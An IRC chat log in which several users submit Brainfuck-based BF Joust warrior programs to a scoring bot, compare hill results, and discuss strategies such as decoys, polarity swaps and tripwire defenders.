old score 01:41:07 Score for ehird_flux_a_revolutionary_perspective_and_et_tu_brute: 24.0 01:41:07 not the new one 01:41:17 now i was at 4th plac 01:41:18 nescience: it takes a little to generate the report. 01:41:20 on the same hill 01:41:20 refresh 01:41:28 talk about random lengths not affecting it eh? :) 01:41:38 !bfjoust flux_a_revolutionary_perspective_and_et_tu_brute (>)*8(>[(+)*255.])*21 01:41:40 Score for ehird_flux_a_revolutionary_perspective_and_et_tu_brute: 24.0 01:41:55 i wonder, maybe something's just wrong 01:42:03 !bfjoust flux_a_revolutionary_perspective_and_et_tu_brute (>)*8([(+)*128.]>)*21 01:42:05 Score for ehird_flux_a_revolutionary_perspective_and_et_tu_brute: 24.0 01:42:10 !bfjoust flux_a_revolutionary_perspective_and_et_tu_brute (>)*8([(+)*128..]>)*21 01:42:12 Score for ehird_flux_a_revolutionary_perspective_and_et_tu_brute: 24.0 01:42:18 i assumed that submitting it would give the same result against the same hill where it was already sitting there 01:42:21 true/not true? 01:42:28 nescience: wut 01:42:29 ? 01:42:56 i'm referring to toggling between 2nd and 4th(5th? didn't get a very good look) place with the same code 01:43:04 !bfjoust hangup >(+)*20001 01:43:12 nescience: odd. oh well 01:43:18 Score for ehird_hangup: 6.0 01:43:20 mwahaha, hangup is the slow 01:43:24 wow that's bad 01:43:28 lol 01:43:36 nescience: submit a warrior - any warrior - just to get rid of hangup :D 01:43:57 !bfjoust hangup2 >(-)*20001 01:44:00 * nescience grins 01:44:06 ha 01:44:12 Score for nescience_hangup2: 6.0 01:44:16 and it replaces me! 01:44:17 !bfjoust chopsueyside (-)*128 01:44:21 Score for ehird_chopsueyside: 6.0 01:44:24 baha 01:44:26 *bahaha 01:44:31 i bet 6.0 is the worst possible score 01:44:39 GregorR-L: why does it add .0 and .00 if it's always whole? 01:45:43 !bfjoust creep (>--[+]+>--[+]-)*15 01:45:44 Score for nescience_creep: 60.0 01:45:51 didn't do much for it did it :P 01:46:09 !bfjoust risktaker (>)*20[>[-].+] 01:46:09 oh crap, i wanted to do slightly different 01:46:13 but i guess we're bein all spammy in here so 01:46:13 Score for ehird_risktaker: 6.0 01:46:30 hahaha 01:46:34 nescience: what the hell is up with my progs :) 01:46:41 also i broke the exploitation of defend6 again 01:47:32 !bfjoust defend6_a_parody_or_just_plain_ripoff_question_mark http://pastie.org/490821.txt?key=w47xqyyhmkklmhegqzsog 01:47:37 !bfjoust creep (>-+[-]+>-+[+]-)*15 01:47:39 Score for nescience_creep: 52.0 01:47:47 Score for ehird_defend6_a_parody_or_just_plain_ripoff_question_mark: 76.0 01:47:55 IDScorePtsProgram 01:47:55 276.006ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust 01:47:55 wtfwtf 01:47:56 772.004impomatic_kicks_ehird.bfjoust 01:47:58 862.004impomatic_shortsword.bfjoust 01:48:00 158.001ais523_defend6.bfjoust 01:48:02 nescience: i just swapped + to - 01:48:04 in defend6 01:48:06 :-D 01:48:07 i guess i should just stick to not changing anything 01:48:08 AND NOW I AM KING OF THE HILL!!!! 01:48:11 har 01:48:20 i didn't know it took a url 01:48:20 nescience: try and beat both defend6 and defend6_a_parody_or_just_plain_ripoff_question_mark 01:48:21 >:) 01:48:27 luls 01:48:28 ok 01:48:28 and yeah, that's how ais523 entered defend6 01:48:31 since it was too long 01:48:34 first let me find my working code 01:48:44 01:45 nescience: !bfjoust creep (>--[+]+>--[+]-)*15 01:48:44 01:45 EgoBot: Score for nescience_creep: 60.0 01:49:02 fun fact: flux_a_counteracting_monomorphism_cocktails did quite well 01:49:05 when impomatic_flux was in the hill 01:49:07 I swapped + and - 01:49:10 just like I did with defend6 01:49:13 it's a sure-fire strategy! 01:49:30 but i'm writing my warrior to be sign ambiguous 01:49:31 :> 01:50:59 oh, i looked at the code 01:51:00 you dick :P 01:51:22 sry 'bout that 01:51:25 hehe 01:51:28 mah internet did broke 01:51:31 no worries, i will just submit a different one 01:51:36 that does something different! 01:51:40 ofc since I'm on a bouncer you all didn't notice 01:51:46 thus you, nescience, think I am referring to bf joust! 01:51:57 17:49:31 :> 01:51:57 17:50:59 oh, i looked at the code 01:51:59 17:51:00 you dick :P 01:52:01 didn't notice that 01:52:03 but er I just said I did that : 01:52:05 D 01:52:07 aha? 01:52:07 :D 01:52:14 yeah, but i forgot quite what it entailed 01:52:24 my solution can't be as elegant now 01:52:34 or i could just submit two eaters 01:52:34 :P 01:52:41 how do I look at the current hill's status? 01:52:43 !bfjoust im_a_creep_im_a_weirdo_im_a_ripoff_lolradiohead (>--[-]->--[-]+)*15 01:52:46 Patashu: http://codu.org/eso/bfjoust/report.txt 01:52:52 !bfjoust creep (>-+[+]++>-+[+]--)*15 01:52:53 Score for nescience_creep: 27.0 01:53:01 Score for ehird_im_a_creep_im_a_weirdo_im_a_ripoff_lolradiohead: 26.0 01:53:04 hahaha 01:53:05 !bfjoust inverse_creep (>+-[-]++>+-[-]--)*15 01:53:10 Score for nescience_inverse_creep: 58.0 01:53:12 nescience: that's not inverse 01:53:14 the last one should be + 01:53:15 like mine 01:53:17 no 01:53:37 whatever, it doesn't matter about that part 01:53:48 you swapped it wrong :) 01:54:11 hehe, one beats defend6 and one beats parody 01:54:17 i wonder if i can do em both at once though 01:54:31 the elegant part is i didn't have to delay every step 01:54:31 !bfjoust (>>[-])*200 01:54:31 Use: !bfjoust 01:54:37 !bfjoust naive (>>[-])*200 01:54:39 since i took advantage of it sitting on a 1 01:54:40 Score for comex_naive: 15.0 01:54:48 i just made mine loop around the "long way", giving it time to suicide 01:55:03 !bfjoust naive2 (>[-])*200 01:55:07 but i can't very well do that in both directions 01:55:07 Score for comex_naive2: 5.0 01:55:18 so i'd have to delay at every step, not just the one before the winning spot (vs that warrior) 01:55:39 or time it so that it doesn't matter 01:55:40 !bfjoust naiverush (>)*9([-]>)*21 01:55:42 maybe i should do that 01:55:46 Score for Patashu_naiverush: 9.0 01:55:57 !bfjoust naive2 (>-[-])*200 01:55:58 Score for comex_naive2: 5.0 01:56:05 !bfjoust naive2 (>--[-])*200 01:56:06 Score for comex_naive2: 5.0 01:56:08 !bfjoust mover_is_a_groover_not_naiver_but_a_cleaver (>[-].)*30 01:56:10 !bfjoust naive2 (>--[-])*0 01:56:12 Score for comex_naive2: 5.0 01:56:18 !bfjoust rushpolarity (>)*9([-]>[+]>)*11 01:56:25 oh, I forgot to change the name 01:56:26 freaks :P 01:56:29 Score for Patashu_rushpolarity: 13.9 01:56:29 Score for ehird_mover_is_a_groover_not_naiver_but_a_cleaver: 13.2 01:56:30 !bfjoust naive3 (>--[-])*0 01:56:33 comex: stop that 01:56:34 use the same name 01:56:37 otherwise you cluter the hill 01:56:37 poor bot 01:56:39 *clutter 01:56:44 01:56 EgoBot: Score for ehird_mover_is_a_groover_not_naiver_but_a_cleaver: 13.2 01:56:47 sweet i lost awesomely 01:56:51 whoa 01:56:52 12 programs 01:56:56 ehird: then why does an empty script have a score of 5 01:57:05 comex: because some other ones are even stupider? 01:57:10 !bfjoust rushpolarity >++++++>------(>)*7([-]>[+]>)*11 01:57:11 Score for Patashu_rushpolarity: 13.9 01:57:13 !bfjoust naive2 < 01:57:14 Score for comex_naive2: 6.2 01:57:18 WAT 01:57:31 !bfjoust rushpolarity >++++++>------(>)*7(+[-]>-[+]>)*11 01:57:32 Score for Patashu_rushpolarity: 42.1 01:57:33 comex: off end of tape = draw 01:57:34 i believe 01:57:36 aha 01:57:37 :) 01:57:37 !bfjoust naive4 (>-->-[-])*0 01:57:44 !bfjoust frenchie (-)*128 01:57:44 sorry, mistake 01:57:48 !bfjoust naive2 (>-->-[-])*200 01:57:49 Score for ehird_frenchie: 5.4 01:57:50 Score for comex_naive4: 5.4 01:57:50 Score for comex_naive2: 6.2 01:57:53 5.4 01:57:54 beat that fuckers 01:57:57 !bfjoust naive2 (>-->--[-])*200 01:57:58 Score for comex_naive2: 6.2 01:58:03 if I submit one with a name and the previous one with that name got a higher score, it stays right? 01:58:08 !bfjoust naive2 (>(-)*128)*200 01:58:09 Score for comex_naive2: 6.2 01:58:10 Patashu: no 01:58:12 !bfjoust frenchie (-)*128 01:58:14 Score for ehird_frenchie: 5.5 01:58:15 !bfjoust beatinit [-] 01:58:20 45.50-10ehird_frenchie.bfjoust 01:58:22 that's just beautiful 01:58:22 k 01:58:28 beautifully terrible 01:58:29 Score for nescience_beatinit: 11.0 01:58:34 !bfjoust rushpolarity >++++++>------(>-)*7(+[-]>-[+]>)*11 01:58:34 WAT 01:58:35 nescience: takes longer to suicide 01:58:36 Score for Patashu_rushpolarity: 24.0 01:58:39 !bfjoust defense >[([+]+)*200] 01:58:40 oh 01:58:42 [-]-]-]-] etc 01:58:43 wait 01:58:43 !bfjoust rushpolarity >+++++>-----(>)*7(+[-]>-[+]>)*11 01:58:45 whereas mine does ------------------------ 01:58:45 Score for Patashu_rushpolarity: 46.9 01:58:48 !bfjoust beatinit < 01:58:49 nice 01:58:50 Score for nescience_beatinit: 11.0 01:58:52 WAT 01:58:55 !bfjoust defense >[([+]+)*200] 01:58:57 nescience: < = draw 01:58:59 unmatched ] = draw 01:58:59 etc 01:59:04 no 01:59:07 Score for comex_defense: 5.8 01:59:07 Score for comex_defense: 5.8 01:59:08 win > draw > loss 01:59:08 it only draws if they both lose 01:59:12 !bfjoust rushpolarity >++++>----(>)*7(+[-]>-[+]>)*11 01:59:13 i got -11 01:59:14 Score for Patashu_rushpolarity: 24.8 01:59:15 :) 01:59:19 all losses 01:59:19 !bfjoust rushpolarity >+++++>----(>)*7(+[-]>-[+]>)*11 01:59:20 how the hell is this calculated 01:59:21 Score for Patashu_rushpolarity: 25.9 01:59:24 fjear 01:59:25 !bfjoust rushpolarity >+++++>-----(>)*7(+[-]>-[+]>)*11 01:59:26 Score for Patashu_rushpolarity: 59.3 01:59:29 hmm 01:59:34 comex: Wins against bad opponents count less for your score. 01:59:36 those decoys are really important haha 01:59:39 Points is just wins - losses. 01:59:45 !bfjoust rushpolarity >+++++>----->+(>)*6(+[-]>-[+]>)*11 01:59:46 But score is better. 01:59:47 Score for Patashu_rushpolarity: 6.2 01:59:52 !bfjoust rushpolarity >+++++>----->+++++(>)*6(+[-]>-[+]>)*11 01:59:54 Score for Patashu_rushpolarity: 19.8 01:59:56 As you have to beat good warriors to get a high score. 02:00:01 !bfjoust rushpolarity >+++++>-----(>)*7(+[-]>-[+]>)*11 02:00:03 Score for Patashu_rushpolarity: 13.6 02:00:03 nobody told me that 02:00:07 nescience: now I did 02:00:11 huh 02:00:13 so i guess if i beat both defend6 and its inverse i can get good points 02:00:18 I changed it back to an old setup and it's scoring much lower 02:00:20 haha 02:00:22 Patashu: nescience: http://codu.org/eso/fyb/SCORES 02:00:23 i could just resubmit until i get lucky 02:00:25 >:) 02:00:27 !bfjoust creep (>+-[-]++>-+[+]--)*15 02:00:28 Score for nescience_creep: 30.9 02:00:29 !bfjoust defense (>-)*50 02:00:30 it has one for each of them 02:00:31 Score for comex_defense: 5.8 02:00:31 applies to FYB but bfjoust is the same system 02:00:37 !bfjoust defense (>->+)*25 02:00:39 Score for comex_defense: 5.0 02:00:45 why 02:00:50 it has one for each of them 02:00:53 wait 02:00:53 !bfjoust creep (>+-[-]++>-+[+]--)*15 02:00:55 !bfjoust defense (>->+)*20 02:00:55 Score for nescience_creep: 29.0 02:00:56 Score for comex_defense: 5.0 02:01:00 !bfjoust rushpolarity >+++++>-----(>)*7(++[-]>--[+]>)*11 02:01:01 02:00 comex: why 02:01:02 Score for Patashu_rushpolarity: 33.0 02:01:04 you go off the edge of the tape 02:01:07 and never get a flag 02:01:10 how big is the tape? 02:01:12 !bfjoust rushpolarity >+++++>-----(>)*7(+++[-]>---[+]>)*11 02:01:12 comex: 10-30 02:01:13 randomly 02:01:14 Score for Patashu_rushpolarity: 42.0 02:01:15 oh 02:01:17 so different from agora 02:01:21 yes... 02:01:23 and . is a nop 02:01:23 !bfjoust defense (>->+)*5 02:01:25 Score for comex_defense: 5.5 02:01:27 !bfjoust defense (>->+)*10 02:01:28 Score for comex_defense: 5.5 02:01:29 !bfjoust rushpolarity >+++++>-----(>)*7(++++[-]>----[+]>)*11 02:01:31 we should get rid of - 02:01:31 Score for Patashu_rushpolarity: 43.2 02:01:32 and just have + 02:01:35 to avoid trivial swaps 02:01:37 lol you guys quit fucking up the report 02:01:41 i wanna see if i got lucky or not 02:01:49 damn, nope 02:01:49 !bfjoust (+)*127(>[-])*30 02:01:49 Use: !bfjoust 02:01:53 !bfjoust creep (>+-[-]++>-+[+]--)*15 02:01:55 Score for nescience_creep: 38.0 02:01:55 wow mine is doing really well o.O 02:01:56 !bfjoust naive (+)*127(>[-])*30 02:01:57 Score for comex_naive: 15.0 02:02:02 !bfjoust rushpolarity_with_reversed_polarity >----->+++++(>)*7(----[+]>++++[-]>)*11 02:02:03 !bfjoust naive (-)*127(>[-])*30 02:02:04 Score for comex_naive: 7.5 02:02:08 !bfjoust naive (+)*127(>[+])*30 02:02:09 Score for comex_naive: 7.5 02:02:15 !bfjoust naive (+)*127(>[--])*30 02:02:17 Score for comex_naive: 7.5 02:02:18 comstop it. 02:02:19 ...... 02:02:20 !bfjoust naive (+)*127(>[-])*30 02:02:20 comex: stop it. 02:02:21 Score for comex_naive: 7.5 02:02:22 STOP IT 02:02:28 why did the exact same program get a different score 02:02:30 Score for ehird_rushpolarity_with_reversed_polarity: 44.6 02:02:36 comex: randomized tape lengths 02:02:43 because the lengths are random, so sometimes it might win or lose depending on that 02:02:50 ha 02:02:51 !bfjoust naive (>)*29(-)*128 02:02:52 yes, but if you do, your program sux 02:02:52 i got one that tied them both 02:02:53 Score for comex_naive: 7.0 02:02:56 hey I have an idea 02:02:58 but i don't want that 02:03:01 !bfjoust creep (>+-[-]++>-+[+]--)*15 02:03:01 to avoid trivial swaps but keep the functionality of + and - differing 02:03:02 Score for nescience_creep: 29.0 02:03:03 BEAT THEM BOTH 02:03:03 !bfjoust naive (>)*20[-](>)*9(-)*128 02:03:04 Score for comex_naive: 7.0 02:03:12 how about at the start of each match it randomly swaps or doesn't swap all your +s and -ses? 02:03:30 Patashu: meh 02:03:34 no luck 02:03:36 !bfjoust naive (>)*20--[+](>)*9(-)*128 02:03:36 oh well 02:03:37 Score for comex_naive: 8.0 02:03:46 well it would make a program and the program with opposite +-s functionally equivalent 02:03:51 all of a sudden i have a bunch of losses 02:03:51 !bfjoust naive (>)*20(--[+]>)*200 02:03:53 Score for comex_naive: 8.0 02:03:55 !bfjoust rushpolarity >+++++>-----(>)*7(+++++[-]>-----[+]>)*11 02:03:56 Score for Patashu_rushpolarity: 60.0 02:04:08 !bfjoust am_i_lame_enough_to_rip_off_shortsword_yes (>-->++)*2(>)*6([+[-]]>)*20 02:04:13 oh aah I see why this works 02:04:17 Score for ehird_am_i_lame_enough_to_rip_off_shortsword_yes: 7.0 02:04:19 !bfjoust rushpolarity >+++++>-----(>)*7(++++++[-]>------[+]>)*11 02:04:20 !bfjoust naive (+)*127(>------)*20(--[+]>)*200 02:04:20 haha 02:04:21 Score for Patashu_rushpolarity: 57.0 02:04:21 Score for comex_naive: 13.5 02:04:24 IDScorePtsProgram 02:04:25 482.007ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust 02:04:29 still chillin' at the top w/ my ripoff 02:04:29 !bfjoust naive (+)*127(>------)*20(--[+]>++[-])*200 02:04:30 Score for comex_naive: 13.5 02:04:35 comex: *200? 02:04:39 laffo 02:04:39 you're not even thinking about this logically 02:04:40 also 02:04:46 comex: the flag has to stay 0 for two generations 02:04:47 "[-]-" 02:04:48 Fail. 02:04:52 beating all but 1, 3, 4... 02:04:53 It will never obliterate a flag. 02:04:54 not fail 02:04:54 also a change from agora 02:04:55 use . to nop 02:04:58 I should probably actually read the rules 02:04:59 ] will nop 02:05:03 according to what you said earlier 02:05:05 nescience: oh, true 02:05:08 still 02:05:11 so the - will take it to 0 02:05:13 (1 round) 02:05:17 then the ] will nop 02:05:19 (2 rounds) 02:05:23 !bfjoust naive (+)*127(>------)*20(--[+]>++[-])*10. 02:05:24 Score for comex_naive: 40.1 02:05:29 that's why i removed by .'s 02:05:31 nescience: true 02:05:32 wat 02:05:42 !bfjoust rushpolarity >+++++>-----(>)*7(+++++++[-]>-------[+]>)*11 02:05:44 you shoudl make it take longer 02:05:44 Score for Patashu_rushpolarity: 54.3 02:05:47 do the exhaustive battle 02:05:54 and don't let people submit more than one while it's running 02:05:58 make em sit back and think for a while 02:06:00 instead of spamming :P 02:06:01 !bfjoust rushpolarity >+++++>-----(>)*7(++++++++[-]>--------[+]>)*11 02:06:03 Score for Patashu_rushpolarity: 59.3 02:06:29 !bfjoust (>)*14[>[-].+] 02:06:30 Use: !bfjoust 02:06:33 !bfjoust an_thing (>)*14[>[-].+] 02:06:40 Score for ehird_an_thing: 26.0 02:06:53 this is fun 02:07:24 !bfjoust rushpolarity >++++++>------(>)*7(++++++++[-]>--------[+]>)*11 02:07:26 Score for Patashu_rushpolarity: 59.0 02:07:26 ehird: It didn't occur to me that it's always whole, it is because there are 10 programs ... 02:07:40 GregorR-L: not true 02:07:44 most often we have 11 02:07:45 0-11 02:07:48 and sometimes we've had 12 02:07:50 !bfjoust rushpolarity >++++++>------(+>)*7(++++++++[-]>--------[+]>)*11 02:07:52 Score for Patashu_rushpolarity: 51.9 02:07:55 it doesn't seem to trim well if people submit a lot of proposals at once 02:08:00 *warriors 02:08:02 It shouldn't always be whole then, as in that example :P 02:08:03 atm: 02:08:03 638.89-3impomatic_dumb.bfjoust 02:08:04 538.89-3impomatic_chrome.bfjoust 02:08:06 217.28-6ehird_an_thing.bfjoust 02:08:09 GregorR-L: Yes, but make it always stay at 10... 02:08:12 !bfjoust rushpolarity >+++++>-----(>)*7(++++++++[-]>--------[+]>)*11 02:08:13 Score for Patashu_rushpolarity: 42.0 02:08:32 wait 02:08:33 ehird: It removes them after evaluating. 12 would be from two added at once, 11 is the "norm" 02:08:34 are you starting on cell 0 02:08:34 or 1? 02:08:50 like, track is 10-30 cells and you're on cell 1 right? 02:08:52 (Now that I'm thinking about the actual results of this deletion code :P ) 02:08:58 Patashu: 10-30 cells total 02:09:01 k 02:09:05 but we number them from 0-29 02:09:23 !bfjoust rushpolarity (>)*7>++++++>------(++++++++[-]>--------[+]>)*11 02:09:25 Score for Patashu_rushpolarity: 58.0 02:09:47 !bfjoust rushpolishmenarity (>)*8>++++++>------(++++++++[-]>--------[+]>)*11 02:09:55 Score for ehird_rushpolishmenarity: 28.0 02:09:58 !bfjoust kekeke (>+>-)*4(>[[[-]]])*20 02:10:00 !bfjoust rushpolishmenarity (>)*8>++++++>------(++++++++[-]>--------[+]>)*10 02:10:02 !bfjoust rushpolarity >++++++>------(>)*7(++++++++[-]>--------[+]>)*11 02:10:02 Score for ehird_rushpolishmenarity: 28.0 02:10:03 Score for Patashu_rushpolarity: 23.0 02:10:06 huh 02:10:07 \o/ 02:10:08 losing suddenly haha 02:10:11 i beat you :P 02:10:22 Score for nescience_kekeke: 21.0 02:10:47 only two scores >50 now 02:10:50 !bfjoust kekeke (>+>-)*4(>[[[+]]])*20 02:10:50 defend6 and my ripoff 02:10:51 Score for nescience_kekeke: 21.0 02:10:55 with defend6 winning slightly 02:10:56 the original 02:11:04 lols 02:11:10 !bfjoust rushpolarity >+++++++++>---------(>)*7(+++++++[-]>-------[+]>)*11 02:11:12 Score for Patashu_rushpolarity: 39.5 02:11:12 didn't help it any :) 02:11:19 !bfjoust rushpolarity >+++++++++>---------(>)*7(++++++++[-]>--------[+]>)*11 02:11:21 Score for Patashu_rushpolarity: 60.5 02:11:24 oo 02:11:32 i wonder though why it loses to defend6 02:11:38 the extra brackets shoul... ah 02:12:19 !bfjoust now_is_the_time_for_all_bad_men_to_come_backwards_in_time_for_their_country [(-)*128+] 02:12:20 actually I should clean the code up 02:12:26 Score for ehird_now_is_the_time_for_all_bad_men_to_come_backwards_in_time_for_their_country: 29.0 02:12:52 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*8[-]>(-)*8[+]>)*11 02:12:53 hey 02:12:54 Score for Patashu_rushpolarity: 50.0 02:12:56 only inverse creep beats my program 02:13:09 that's because it exploits "your" program 02:13:13 defend6 draws though 02:13:14 !bfjoust kekeke (>+>-)*4(>[-](.)*132)*20 02:13:15 nescience: ;P 02:13:16 :P 02:13:16 Score for nescience_kekeke: 19.8 02:13:17 I'm going now 02:13:18 bye 02:13:30 bam, beats defend now 02:13:42 AND parody 02:13:45 do i get candy? 02:13:49 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*7[-]>(-)*7[+]>)*11 02:13:51 Score for Patashu_rushpolarity: 45.7 02:14:06 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*9[-]>(-)*9[+]>)*11 02:14:08 Score for Patashu_rushpolarity: 25.9 02:14:26 oo 02:14:30 now it says all but 1,2 beaten 02:14:33 which are the defend6s 02:14:35 how do they work? :o 02:14:43 read them 02:15:46 hey if I have symbol*number without brackets 02:15:48 does that compile fine? 02:17:41 !bfjoust creep >+>->+>->+>->+(>-++-.[+]++>-++-.[+]--)*15 02:17:42 Score for nescience_creep: 12.0 02:18:18 !bfjoust creep >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 02:18:19 Score for nescience_creep: 32.5 02:18:32 beats both defends still hehe 02:18:34 but too slow 02:19:37 -!- psygnisfive has joined. 02:20:32 wow haha 02:20:33 top of the hill 02:22:57 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*9[-][>](-)*9[+][>])*11 02:22:59 Score for Patashu_rushpolarity: 75.3 02:23:19 lol broke it 02:23:23 huh 02:23:26 it said I got 75.3 score 02:23:31 but when I look at hte report I lost every one 02:23:31 that was your last score 02:23:33 refresh the table 02:23:39 nope 02:23:41 lol 02:23:53 that was your score before submitting 02:23:56 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*9[-][>](-)*9[+][>])*11 02:23:58 Score for Patashu_rushpolarity: 0.0 02:23:59 okay 02:24:01 see 02:24:02 ah I see 02:24:05 why does it do that 02:24:07 it's broken 02:24:10 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*9[-]>(-)*9[+]>)*11 02:24:12 Score for Patashu_rushpolarity: 0.0 02:24:29 haha 02:24:31 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*9[-]>(-)*9[+]>)*11 02:24:33 Score for Patashu_rushpolarity: 48.1 02:24:36 there we go 02:24:50 wonder why the [>] made it worse... 02:25:00 oh wait 02:25:06 I'd need a reverse [] to do what I was thinking of 02:25:10 lol :) 02:25:12 yep 02:25:31 loop while cell under pointer IS zero 02:27:13 !bfjoust rushpolarity >(+)*10>(-)*10(>)*7((+)*10[-]>(-)*10[+]>)*11 02:27:15 Score for Patashu_rushpolarity: 48.1 02:27:37 !bfjoust rushpolarity >(+)*9>(-)*9(>)*7((+)*9[-]>(-)*9[+]>)*11 02:27:39 Score for Patashu_rushpolarity: 54.3 02:27:53 hmm 02:28:11 !bfjoust rushpolarity >(+)*8>(-)*8(>)*7((+)*8[-]>(-)*8[+]>)*11 02:28:13 Score for Patashu_rushpolarity: 54.3 02:28:37 !bfjoust rushpolarity >(+)*8>(-)*8(>)*7((+)*9[-]>(-)*9[+]>)*11 02:28:39 Score for Patashu_rushpolarity: 42.0 02:29:04 !bfjoust rushpolarity >(+)*8>(-)*8(>)*7((+)*10[-]>(-)*10[+]>)*11 02:29:06 Score for Patashu_rushpolarity: 50.6 02:29:37 !bfjoust rushpolarity >(+)*10>(-)*10(>)*7((+)*10[-]>(-)*10[+]>)*11 02:29:39 Score for Patashu_rushpolarity: 34.6 02:30:15 !bfjoust rushpolarity >(+)*10>(-)*10(>)*7((+)*6[-]>(-)*6[+]>)*11 02:30:17 Score for Patashu_rushpolarity: 60.5 02:30:33 !bfjoust rushpolarity >(+)*10>(-)*10(>)*7((+)*7[-]>(-)*7[+]>)*11 02:30:35 Score for Patashu_rushpolarity: 48.1 02:30:55 !bfjoust rushpolarity >(+)*10>(-)*10(>)*7((+)*8[-]>(-)*8[+]>)*11 02:30:57 Score for Patashu_rushpolarity: 60.5 02:31:56 !bfjoust rushpolarity >(+)*10>(-)*10(>)*7((+)*9[-]>(-)*9[+]>)*11 02:31:57 Score for Patashu_rushpolarity: 60.5 02:32:19 :o 02:32:48 where'd everyone go anyhow 02:34:11 !bfjoust rushpolarity >(+)*10>(-)*10>(-)*5(>)*6((+)*9[-]>(-)*9[+]>)*11 02:34:13 Score for Patashu_rushpolarity: 75.3 02:34:34 no that's worse, hmm 02:34:59 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]>(-)*9[+]>)*11 02:35:01 Score for Patashu_rushpolarity: 49.4 02:35:25 !bfjoust slowpoke http://pastie.org/490848.txt 02:35:28 Score for nescience_slowpoke: 8.5 02:35:33 lol 02:35:35 must be broken 02:35:37 ouch 02:35:44 is that algorithmically generated? 02:35:51 no 02:36:13 oh 02:36:14 haha 02:36:17 i got my numbers wrong 02:36:20 lol 02:36:24 it shouldn't be <*8 >*8 02:36:27 bfjoust magnum opus 02:36:28 it should be <*8 >*9 02:36:49 this is for my bfjoust master's degree 02:38:00 oh, things are fixed? 02:38:07 neat! 02:38:27 yes 02:38:28 go wild 02:38:35 !bfjoust irritating [>[-]-] 02:38:42 Score for coppro_irritating: 21.5 02:38:49 just one glitch 02:38:54 the score it gives is for the LAST time you submitted a program 02:39:00 i.e. one submission delay 02:39:26 !bfjoust slowpoke http://pastie.org/490854.txt 02:39:28 Score for nescience_slowpoke: 8.5 02:39:41 !bfjoust irritating [>[-]->[+]+] 02:39:42 Score for coppro_irritating: 21.5 02:39:44 lol well it still beats defendd 02:39:56 haha 02:40:01 what is it meant to do? 02:40:09 ah, I see 02:40:11 beat defend, and hopefully also do something interesting 02:40:23 i have an idea 02:40:26 lol 02:40:32 but i guess it wouldn't matter 02:40:40 !bfjoust beat_defenders [>[[[[[[-]]]]]]] 02:40:51 Score for coppro_beat_defenders: 8.5 02:40:52 it doesn't 02:41:03 apparently not 02:41:19 you'll just tie or run off the end 02:41:35 gotta trip the tripwire and wait 02:41:39 or skip it somehow 02:41:46 only ones I'm not beating are the defend6s 02:41:48 so :C 02:42:05 i could be lame like ehird and just rip your code and then possibly fix it to beat them 02:42:05 :P 02:42:22 the thing i don't get is why you bother doing 10 +'s etc 02:42:24 unless it's to kill time 02:42:27 it's because 02:42:28 uh 02:42:30 when people set decoys 02:42:38 they're more likely to set them to low +- numbers than high ones 02:42:42 or wait... 02:42:44 hmmm 02:42:45 so? 02:42:52 that doesn't help you any, since you aren't looping 02:42:53 well it works better when I put them in! 02:43:04 like i said, must be killing time 02:43:06 wonder why though 02:43:16 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5([-]>[+]>)*11 02:43:18 Score for Patashu_rushpolarity: 76.0 02:43:19 i have an inkling of an idea 02:43:23 let's see what happens when I take them out then 02:43:30 yeah it gets much worse 02:43:36 let's replace them with an equivalent amount of .s 02:43:39 i meant on your decoys 02:43:46 see one thing that happens 02:43:50 if you have a set number of -s or +s 02:43:59 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]>(-)*9[+]>)*11 02:44:01 Score for Patashu_rushpolarity: 21.0 02:44:02 and someone else is looping on the same position 02:44:13 if they dec to 0, you can put them past 0 02:44:19 and then they loop again 256 times 02:44:49 my decoys only bother setting once because they are only going to slow down loops 02:44:57 and for that you don't need more than one 02:44:59 hmm let's see 02:45:07 !bfjoust rushpolarity >+>->->+(>)*5((+)*9[-]>(-)*9[+]>)*11 02:45:09 Score for Patashu_rushpolarity: 60.5 02:45:35 I was under the impression that a high finite + or - for a decoy would stop constructs that go like [+[--[+++[----[... 02:45:38 i think you ought to study why it's working for you in detail, probably could learn something good 02:45:44 nope small decoys doesn't help it 02:46:03 !bfjoust rushpolarity >(+)*10>(-)*10>->+(>)*5((+)*9[-]>(-)*9[+]>)*11 02:46:05 Score for Patashu_rushpolarity: 34.6 02:46:13 strange 02:46:16 this is ideal 02:46:20 beats all but defend6s 02:46:42 all you need to do to beat the defends is delay longer before moving on 02:46:57 you need to spend longer than 128 cycles at each location 02:47:04 but then I lose to everything else 02:47:05 assuming you zero them before moving 02:47:13 sucks eh? :) 02:47:23 maybe you should just not care about them, apparently tripwire is not that effective a strategy 02:47:23 well hmm... 02:47:26 unless it's all that's on the hill 02:47:27 8 and 9 beat defend6 a parody 02:47:34 but 8 and 9 do poorly in general 02:47:36 because i wrote them to 02:47:39 ya 02:47:42 creep did good earlier 02:47:45 i was 2nd 02:47:51 how do you make a defender? I wanna try 02:47:54 but even then it got 3 losses 02:48:02 what the defends are doing is 02:48:09 1) waiting at instruction 1 until it gets zeroed 02:48:16 2) going back to their flag and inc/dec'ing 128 times 02:48:26 3) then going back and forth across the tape alternately 02:48:50 they keep tweaking their flag, then attacking a new location 02:49:04 the goal is, presumably, to do like i said before 02:49:11 let the enemy's loop hit 0 and fall through 02:49:21 but inc/dec the flag on that same instruction so you don't lose 02:49:23 then they run off the end 02:49:37 so it starts 02:49:42 i wonder, the tripwire thing probably doesn't need to attack the opponent's flag at all 02:49:50 >[]<(+)*128 02:50:05 >+[] 02:50:12 oh yeah 02:50:23 what if say your opponent -s while you + 02:50:30 do you alternate +ing and -ing 02:50:48 infinite loop -> tie 02:51:06 !bfjoust matador >+[]<(+)*128(-)*128(>)*9(>[+])*21 02:51:10 Score for Patashu_matador: 0.0 02:51:12 nope 02:51:43 !bfjoust tripwire >+[]<(+)*192000 02:51:50 whoops i needed bigger number 02:51:53 Score for nescience_tripwire: 0.0 02:52:06 it ties the defends though 